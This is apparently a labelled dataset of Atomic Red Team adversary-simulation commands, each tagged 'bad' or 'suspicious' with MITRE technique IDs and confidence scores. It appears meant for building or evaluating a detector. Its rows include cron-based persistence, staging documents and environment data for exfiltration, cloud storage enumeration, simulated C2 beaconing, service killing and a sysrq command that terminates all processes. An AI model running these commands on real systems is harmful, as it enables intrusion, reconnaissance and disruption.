700969a8eaccb0ba837b9194,del %temp%\T1119_command_prompt_collection /F /Q >nul 2>&1,del %temp%\T1119_command_prompt_collection /F /Q >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1119/T1119.yaml,Automated Collection Command Prompt,T1119,"[""T1119""]",windows,0.55,True,"Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_command_prompt_collection
to see what was collected.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b36fdceda7201ea9ea57c024,New-Item -Path $env:TEMP\T1119_powershell_collection -ItemType Directory -Force | Out-Null Get-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination $env:TEMP\T1119_powershell_collection},New-Item -Path $env:TEMP\T1119_powershell_collection -ItemType Directory -Force | Out-Null Get-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination $env:TEMP\T1119_powershell_collection},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1119/T1119.yaml,Automated Collection PowerShell,T1119,"[""T1119""]",windows,0.9,False,"Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_powershell_collection
to see what was collected.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f1c5ce588d8a97b07cc67efc,Remove-Item $env:TEMP\T1119_powershell_collection -Force -ErrorAction Ignore | Out-Null,Remove-Item $env:TEMP\T1119_powershell_collection -Force -ErrorAction Ignore | Out-Null,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1119/T1119.yaml,Automated Collection PowerShell,T1119,"[""T1119""]",windows,0.55,True,"Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_powershell_collection
to see what was collected.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b04f8880981af4b2031a1034,Get-Service > $env:TEMP\T1119_1.txt Get-ChildItem Env: > $env:TEMP\T1119_2.txt Get-Process > $env:TEMP\T1119_3.txt,Get-Service > $env:TEMP\T1119_1.txt Get-ChildItem Env: > $env:TEMP\T1119_2.txt Get-Process > $env:TEMP\T1119_3.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1119/T1119.yaml,Recon information for export with PowerShell,T1119,"[""T1119""]",windows,0.9,False,"collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt
to see what was collected.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3b3fdb0ca7855750bdc501ac,Remove-Item $env:TEMP\T1119_1.txt -ErrorAction Ignore Remove-Item $env:TEMP\T1119_2.txt -ErrorAction Ignore Remove-Item $env:TEMP\T1119_3.txt -ErrorAction Ignore,Remove-Item $env:TEMP\T1119_1.txt -ErrorAction Ignore Remove-Item $env:TEMP\T1119_2.txt -ErrorAction Ignore Remove-Item $env:TEMP\T1119_3.txt -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1119/T1119.yaml,Recon information for export with PowerShell,T1119,"[""T1119""]",windows,0.55,True,"collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt
to see what was collected.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a47543c769de1ff44c493ce3,sc query type=service > %TEMP%\T1119_1.txt doskey /history > %TEMP%\T1119_2.txt wmic process list > %TEMP%\T1119_3.txt tree C:\AtomicRedTeam\atomics > %TEMP%\T1119_4.txt,sc query type=service > %TEMP%\T1119_1.txt doskey /history > %TEMP%\T1119_2.txt wmic process list > %TEMP%\T1119_3.txt tree C:\AtomicRedTeam\atomics > %TEMP%\T1119_4.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1119/T1119.yaml,Recon information for export with Command Prompt,T1119,"[""T1119""]",windows,0.9,False,"collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt
to see what was collected.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
998eac3a3a0e7660f95a1c71,del %TEMP%\T1119_1.txt >nul 2>&1 del %TEMP%\T1119_2.txt >nul 2>&1 del %TEMP%\T1119_3.txt >nul 2>&1 del %TEMP%\T1119_4.txt >nul 2>&1,del %TEMP%\T1119_1.txt >nul 2>&1 del %TEMP%\T1119_2.txt >nul 2>&1 del %TEMP%\T1119_3.txt >nul 2>&1 del %TEMP%\T1119_4.txt >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1119/T1119.yaml,Recon information for export with Command Prompt,T1119,"[""T1119""]",windows,0.55,True,"collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt
to see what was collected.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
79c34c5a3fba990307e1bf5e,del /f %temp%\T1036.007_masquerading.docx.exe > nul 2>&1 del /f %temp%\T1036.007_masquerading.pdf.exe > nul 2>&1 del /f %temp%\T1036.007_masquerading.ps1.exe > nul 2>&1 del /f %temp%\T1036.007_masquerading.xls.vbs > nul 2>&1 del /f %temp%\T1036.007_masquerading.xlsx.vbs > nul 2>&1 del /f %temp%\T1036.007_masquerading.png.vbs > nul 2>&1 del /f %temp%\T1036.007_masquerading.doc.ps1 > nul 2>&1 del /f %temp%\T1036.007_masquerading.pdf.ps1 > nul 2>&1 del /f %temp%\T1036.007_masquerading.rtf.ps1 > nul 2>&1,del /f %temp%\T1036.007_masquerading.docx.exe > nul 2>&1 del /f %temp%\T1036.007_masquerading.pdf.exe > nul 2>&1 del /f %temp%\T1036.007_masquerading.ps1.exe > nul 2>&1 del /f %temp%\T1036.007_masquerading.xls.vbs > nul 2>&1 del /f %temp%\T1036.007_masquerading.xlsx.vbs > nul 2>&1 del /f %temp%\T1036.007_masquerading.png.vbs > nul 2>&1 del /f %temp%\T1036.007_masquerading.doc.ps1 > nul 2>&1 del /f %temp%\T1036.007_masquerading.pdf.ps1 > nul 2>&1 del /f %temp%\T1036.007_masquerading.rtf.ps1 > nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.007/T1036.007.yaml,File Extension Masquerading,T1036.007,"[""T1036.007""]",windows,0.55,True,"download and execute a file masquerading as images or Office files. Upon execution 3 calc instances and 3 vbs windows will be launched.

e.g SOME_LEGIT_NAME.[doc,docx,xls,xlsx,pdf,rtf,png,jpg,etc.].[exe,vbs,js,ps1,etc] (Quartelyreport.docx.exe)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
205786d6dd898cdcd52559d6,"crontab -l > /tmp/notevil echo ""* * * * * #{command}"" > #{tmp_cron} && crontab #{tmp_cron}","crontab -l > /tmp/notevil echo ""* * * * * #{command}"" > #{tmp_cron} && crontab #{tmp_cron}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.003/T1053.003.yaml,Cron - Replace crontab with referenced file,T1053.003,"[""T1053.003""]","linux,macos",0.9,False,"This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
136ad13b547b37a406537afb,crontab /tmp/notevil,crontab /tmp/notevil,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.003/T1053.003.yaml,Cron - Replace crontab with referenced file,T1053.003,"[""T1053.003""]","linux,macos",0.55,True,"This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e56a2774e54812ac8b810e37,"echo ""#{command}"" > /etc/cron.daily/#{cron_script_name} echo ""#{command}"" > /etc/cron.hourly/#{cron_script_name} echo ""#{command}"" > /etc/cron.monthly/#{cron_script_name} echo ""#{command}"" > /etc/cron.weekly/#{cron_script_name}","echo ""#{command}"" > /etc/cron.daily/#{cron_script_name} echo ""#{command}"" > /etc/cron.hourly/#{cron_script_name} echo ""#{command}"" > /etc/cron.monthly/#{cron_script_name} echo ""#{command}"" > /etc/cron.weekly/#{cron_script_name}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.003/T1053.003.yaml,Cron - Add script to all cron subfolders,T1053.003,"[""T1053.003""]","macos,linux",0.9,False,"This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2e72d7f82c51b27b5a7cb821,rm /etc/cron.daily/#{cron_script_name} -f rm /etc/cron.hourly/#{cron_script_name} -f rm /etc/cron.monthly/#{cron_script_name} -f rm /etc/cron.weekly/#{cron_script_name} -f,rm /etc/cron.daily/#{cron_script_name} -f rm /etc/cron.hourly/#{cron_script_name} -f rm /etc/cron.monthly/#{cron_script_name} -f rm /etc/cron.weekly/#{cron_script_name} -f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.003/T1053.003.yaml,Cron - Add script to all cron subfolders,T1053.003,"[""T1053.003""]","macos,linux",0.55,True,"This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b4aca2da2856eb554f1b8e5f,"echo ""#{command}"" > /etc/cron.d/#{cron_script_name}","echo ""#{command}"" > /etc/cron.d/#{cron_script_name}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.003/T1053.003.yaml,Cron - Add script to /etc/cron.d folder,T1053.003,"[""T1053.003""]",linux,0.9,False,"This test adds a script to /etc/cron.d folder configured to execute on a schedule.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a54f3b4ac38fea47c64e5c40,rm /etc/cron.d/#{cron_script_name} -f,rm /etc/cron.d/#{cron_script_name} -f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.003/T1053.003.yaml,Cron - Add script to /etc/cron.d folder,T1053.003,"[""T1053.003""]",linux,0.55,True,"This test adds a script to /etc/cron.d folder configured to execute on a schedule.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
44cc9d7913f51689289df411,"echo ""#{command}"" >> /var/spool/cron/crontabs/#{cron_script_name}","echo ""#{command}"" >> /var/spool/cron/crontabs/#{cron_script_name}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.003/T1053.003.yaml,Cron - Add script to /var/spool/cron/crontabs/ folder,T1053.003,"[""T1053.003""]",linux,0.9,False,"This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1cf9d904f63d9d83148e47e7,rm /var/spool/cron/crontabs/#{cron_script_name} -f,rm /var/spool/cron/crontabs/#{cron_script_name} -f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.003/T1053.003.yaml,Cron - Add script to /var/spool/cron/crontabs/ folder,T1053.003,"[""T1053.003""]",linux,0.55,True,"This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
baf7366a537566583c8357bd,"for bucket in ""$(aws s3 ls | cut -d "" "" -f3)""; do aws s3api list-objects-v2 --bucket $bucket --output text; done","for bucket in ""$(aws s3 ls | cut -d "" "" -f3)""; do aws s3api list-objects-v2 --bucket $bucket --output text; done",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1619/T1619.yaml,AWS S3 Enumeration,T1619,"[""T1619""]",iaas:aws,0.9,False,"This test will enumerate all the S3 buckets in the user account and lists all the files in each bucket. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d0f0de6a98b8e24f2e8c5d8c,"Remove-Item -Path ""#{output_file}"" -Force -erroraction silentlycontinue Write-Output ""Removed #{output_file}""","Remove-Item -Path ""#{output_file}"" -Force -erroraction silentlycontinue Write-Output ""Removed #{output_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1619/T1619.yaml,Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI,T1619,"[""T1619""]",iaas:azure,0.55,True,"This test enumerates all existing storage accounts and tries to fetch for each account the contained storage account objects. The access to storage objects is only possible if Shared Key authorization is enabled (e.g this is the case per default for storage objects creaded by Azure Function Apps).

Requirements:
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
- The EntraID user must have the r",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cf43ad413b2b57551bad5e64,remove-item #{output_file} -erroraction silentlycontinue,remove-item #{output_file} -erroraction silentlycontinue,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1619/T1619.yaml,Azure - Scan for Anonymous Access to Azure Storage (Powershell),T1619,"[""T1619""]",iaas:azure,0.55,True,"Upon successful execution, this test will test for anonymous access to Azure storage containers by invoking a web request and outputting the results to a file. 
The corresponding response could then be interpreted to determine whether or not the resource/container exists, as well as other information. 
See https://ninocrudele.com/the-three-most-effective-and-dangerous-cyberattacks-to-azure-and-countermeasures-part-2-attack-the-azure-storage-service     
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ca223a8a7f06c53faa73c5e9,"import-module ""PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"" Invoke-EnumerateAzureBlobs -base #{base} -permutations ""#{wordlist}"" -outputfile ""#{output_file}""","import-module ""PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"" Invoke-EnumerateAzureBlobs -base #{base} -permutations ""#{wordlist}"" -outputfile ""#{output_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1619/T1619.yaml,Azure - Enumerate Azure Blobs with MicroBurst,T1619,"[""T1619""]",iaas:azure,0.9,False,"Upon successful execution, this test will utilize a wordlist to enumerate the public facing containers and blobs of a specified Azure storage account. 
See https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/ . 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0cad264b75abecb245b707bb,"Invoke-WebRequest #{domain} -UserAgent ""HttpBrowser/1.0"" | out-null Invoke-WebRequest #{domain} -UserAgent ""Wget/1.9+cvs-stable (Red Hat modified)"" | out-null Invoke-WebRequest #{domain} -UserAgent ""Opera/8.81 (Windows NT 6.0; U; en)"" | out-null Invoke-WebRequest #{domain} -UserAgent ""*<|>*"" | out-null","Invoke-WebRequest #{domain} -UserAgent ""HttpBrowser/1.0"" | out-null Invoke-WebRequest #{domain} -UserAgent ""Wget/1.9+cvs-stable (Red Hat modified)"" | out-null Invoke-WebRequest #{domain} -UserAgent ""Opera/8.81 (Windows NT 6.0; U; en)"" | out-null Invoke-WebRequest #{domain} -UserAgent ""*<|>*"" | out-null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1071.001/T1071.001.yaml,Malicious User Agents - Powershell,T1071.001,"[""T1071.001""]",windows,0.9,False,"This test simulates an infected host beaconing to command and control. Upon execution, no output will be displayed. 
Use an application such as Wireshark to record the session and observe user agent strings and responses.

Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
57482756e1bd88c0a480c898,"#{curl_path} -s -A ""HttpBrowser/1.0"" -m3 #{domain} >nul 2>&1 #{curl_path} -s -A ""Wget/1.9+cvs-stable (Red Hat modified)"" -m3 #{domain} >nul 2>&1 #{curl_path} -s -A ""Opera/8.81 (Windows NT 6.0; U; en)"" -m3 #{domain} >nul 2>&1 #{curl_path} -s -A ""*<|>*"" -m3 #{domain} >nul 2>&1","#{curl_path} -s -A ""HttpBrowser/1.0"" -m3 #{domain} >nul 2>&1 #{curl_path} -s -A ""Wget/1.9+cvs-stable (Red Hat modified)"" -m3 #{domain} >nul 2>&1 #{curl_path} -s -A ""Opera/8.81 (Windows NT 6.0; U; en)"" -m3 #{domain} >nul 2>&1 #{curl_path} -s -A ""*<|>*"" -m3 #{domain} >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1071.001/T1071.001.yaml,Malicious User Agents - CMD,T1071.001,"[""T1071.001""]",windows,0.9,False,"This test simulates an infected host beaconing to command and control. Upon execution, no out put will be displayed. 
Use an application such as Wireshark to record the session and observe user agent strings and responses.

Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
51b7ac92ff8381d1b814e4a1,"curl -s -A ""HttpBrowser/1.0"" -m3 #{domain} curl -s -A ""Wget/1.9+cvs-stable (Red Hat modified)"" -m3 #{domain} curl -s -A ""Opera/8.81 (Windows NT 6.0; U; en)"" -m3 #{domain} curl -s -A ""*<|>*"" -m3 #{domain}","curl -s -A ""HttpBrowser/1.0"" -m3 #{domain} curl -s -A ""Wget/1.9+cvs-stable (Red Hat modified)"" -m3 #{domain} curl -s -A ""Opera/8.81 (Windows NT 6.0; U; en)"" -m3 #{domain} curl -s -A ""*<|>*"" -m3 #{domain}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1071.001/T1071.001.yaml,Malicious User Agents - Nix,T1071.001,"[""T1071.001""]","linux,macos",0.9,False,"This test simulates an infected host beaconing to command and control.
Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3334021dcf5ca39a1316bd30,"try { Import-Module AzureAD -ErrorAction Ignore $PWord = ConvertTo-SecureString -String ""#{azure_password}"" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""#{azure_username}"", $Pword Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null Remove-AzureADDomain -Name ""#{domain_name}"" -ErrorAction Ignore } catch {}","try { Import-Module AzureAD -ErrorAction Ignore $PWord = ConvertTo-SecureString -String ""#{azure_password}"" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""#{azure_username}"", $Pword Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null Remove-AzureADDomain -Name ""#{domain_name}"" -ErrorAction Ignore } catch {}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1484.002/T1484.002.yaml,Add Federation to Azure AD,T1484.002,"[""T1484.002""]",azure-ad,0.55,True,"Add a new federated domain to Azure AD using PowerShell.
The malicious domain to be federated must be configured beforehand (outside of the scope of this test):
    1. Open Azure Portal
    2. Add a new ""custom domain name""
    3. Verify the domain by following instructions (i.e. create the requested DNS record)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
365174cf13101869b55ea2f3,sc.exe stop #{service_name},sc.exe stop #{service_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1489/T1489.yaml,Windows - Stop service using Service Controller,T1489,"[""T1489""]",windows,0.9,False,"Stops a specified service using the sc.exe command. Upon execution, if the spooler service was running infomration will be displayed saying
it has changed to a state of STOP_PENDING. If the spooler service was not running ""The service has not been started."" will be displayed and it can be
started by running the cleanup command.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ff1fcd988c9f0eb7d4eac488,sc.exe start #{service_name} >nul 2>&1,sc.exe start #{service_name} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1489/T1489.yaml,Windows - Stop service using Service Controller,T1489,"[""T1489""]",windows,0.55,True,"Stops a specified service using the sc.exe command. Upon execution, if the spooler service was running infomration will be displayed saying
it has changed to a state of STOP_PENDING. If the spooler service was not running ""The service has not been started."" will be displayed and it can be
started by running the cleanup command.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4309872d99a213473a740245,net.exe stop #{service_name},net.exe stop #{service_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1489/T1489.yaml,Windows - Stop service using net.exe,T1489,"[""T1489""]",windows,0.9,False,"Stops a specified service using the net.exe command. Upon execution, if the service was running ""The Print Spooler service was stopped successfully.""
will be displayed. If the service was not running, ""The Print Spooler service is not started."" will be displayed and it can be
started by running the cleanup command.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dda5e79be651b4c294f8ca90,net.exe start #{service_name} >nul 2>&1,net.exe start #{service_name} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1489/T1489.yaml,Windows - Stop service using net.exe,T1489,"[""T1489""]",windows,0.55,True,"Stops a specified service using the net.exe command. Upon execution, if the service was running ""The Print Spooler service was stopped successfully.""
will be displayed. If the service was not running, ""The Print Spooler service is not started."" will be displayed and it can be
started by running the cleanup command.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
db241dcf983f3a4a78206fbd,taskkill.exe /f /im #{process_name},taskkill.exe /f /im #{process_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1489/T1489.yaml,Windows - Stop service by killing process,T1489,"[""T1489""]",windows,0.9,False,"Stops a specified service killng the service's process.
This technique was used by WannaCry. Upon execution, if the spoolsv service was running ""SUCCESS: The process ""spoolsv.exe"" with PID 2316 has been terminated.""
will be displayed. If the service was not running ""ERROR: The process ""spoolsv.exe"" not found."" will be displayed and it can be
started by running the cleanup command.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5d25e3ac0be8a21aff7bd93a,sudo systemctl stop #{service_name},sudo systemctl stop #{service_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1489/T1489.yaml,Linux - Stop service using systemctl,T1489,"[""T1489""]",linux,0.9,False,"Stops a specified service using the systemctl command.
Upon execution, if the specified service was running, it will change to a state of inactive and it can be restarted by running the cleanup command.
You can list all available services with following command: ""systemctl list-units --type=service""
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e3b42f2f19de77f2074bd959,sudo systemctl start #{service_name} 2> /dev/null,sudo systemctl start #{service_name} 2> /dev/null,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1489/T1489.yaml,Linux - Stop service using systemctl,T1489,"[""T1489""]",linux,0.55,True,"Stops a specified service using the systemctl command.
Upon execution, if the specified service was running, it will change to a state of inactive and it can be restarted by running the cleanup command.
You can list all available services with following command: ""systemctl list-units --type=service""
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b405b78753952753e81de0d,sudo killall -SIGTERM #{process_name},sudo killall -SIGTERM #{process_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1489/T1489.yaml,Linux - Stop service by killing process using killall,T1489,"[""T1489""]",linux,0.9,False,"Stops a specified service by sending a SIGTERM signal to the linked process using the killall command.
Upon execution, if the service's main process was running, it will be terminated.
If the service was not running, no process will be found to kill and it can be restarted by running the cleanup command.
You can list all available services with following command: ""systemctl list-units --type=service""
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2028cbbbeb42f20d30c9c3e0,sudo kill -SIGTERM $(pgrep #{process_name}),sudo kill -SIGTERM $(pgrep #{process_name}),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1489/T1489.yaml,Linux - Stop service by killing process using kill,T1489,"[""T1489""]",linux,0.9,False,"Stops a specified service by sending a SIGTERM signal to the linked process using the kill command. Upon execution, if the service's main process was running, it will be terminated.
If the service was not running, no process will be found to kill and it can be restarted by running the cleanup command.
You can list all available services with following command: ""systemctl list-units --type=service""
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ca722cf69265c4b7954484ab,sudo pkill -SIGTERM #{process_pattern},sudo pkill -SIGTERM #{process_pattern},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1489/T1489.yaml,Linux - Stop service by killing process using pkill,T1489,"[""T1489""]",linux,0.9,False,"Stops a specified service by sending a SIGTERM signal to the linked process using pkill. This method is effective when multiple instances of the process may be running.
Upon execution, if any instances of the process were running, they will be terminated. If no instances were running, pkill will not find any processes to kill.
Stopped service can be restarted by running the cleanup command.
You can list all available services with following command: ""systemctl list-units --type=service""
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
281c00488e1a7013ea4e658a,"echo ""e"" > /proc/sysrq-trigger","echo ""e"" > /proc/sysrq-trigger",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1489/T1489.yaml,Abuse of linux magic system request key for Send a SIGTERM to all processes,T1489,"[""T1489""]",linux,0.9,False,"Adversaries with root or sufficient privileges Send a SIGTERM to all processes, except for init. By writing 'e' to /proc/sysrq-trigger, they can forced kill all processes, except for init.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c52995203ea98e284b24d506,net view /domain net view,net view /domain net view,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Remote System Discovery - net,T1018,"[""T1018""]",windows,0.9,False,"Identify remote systems with net.exe.

Upon successful execution, cmd.exe will execute `net.exe view` and display results of local systems on the network that have file and print sharing enabled.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3b854a89be9278b0c84206d0,"net group ""Domain Computers"" /domain","net group ""Domain Computers"" /domain",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Remote System Discovery - net group Domain Computers,T1018,"[""T1018""]",windows,0.9,False,"Identify remote systems with net.exe querying the Active Directory Domain Computers group.

Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the ""Domain Computers"" group. Output will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
323dce3235d921f9a5d5cf81,nltest.exe /dclist:#{target_domain},nltest.exe /dclist:#{target_domain},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Remote System Discovery - nltest,T1018,"[""T1018""]",windows,0.9,False,"Identify domain controllers for specified domain.

Upon successful execution, cmd.exe will execute nltest.exe against a target domain to retrieve a list of domain controllers. Output will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
23cb885bd9b1e8278d081d73,"for /l %i in (#{start_host},1,#{stop_host}) do ping -n 1 -w 100 #{subnet}.%i","for /l %i in (#{start_host},1,#{stop_host}) do ping -n 1 -w 100 #{subnet}.%i",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Remote System Discovery - ping sweep,T1018,"[""T1018""]",windows,0.9,False,"Identify remote systems via ping sweep.

Upon successful execution, cmd.exe will perform a for loop against the 192.168.1.1/24 network. Output will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b4492d156a353ef49a44f35c,arp -a,arp -a,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Remote System Discovery - arp,T1018,"[""T1018""]",windows,0.9,False,"Identify remote systems via arp. 

Upon successful execution, cmd.exe will execute arp to list out the arp cache. Output will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
58a2848ef44d8179a168b7b2,arp -a | grep -v '^?',arp -a | grep -v '^?',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Remote System Discovery - arp nix,T1018,"[""T1018""]","linux,macos",0.9,False,"Identify remote systems via arp.

Upon successful execution, sh will execute arp to list out the arp cache. Output will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
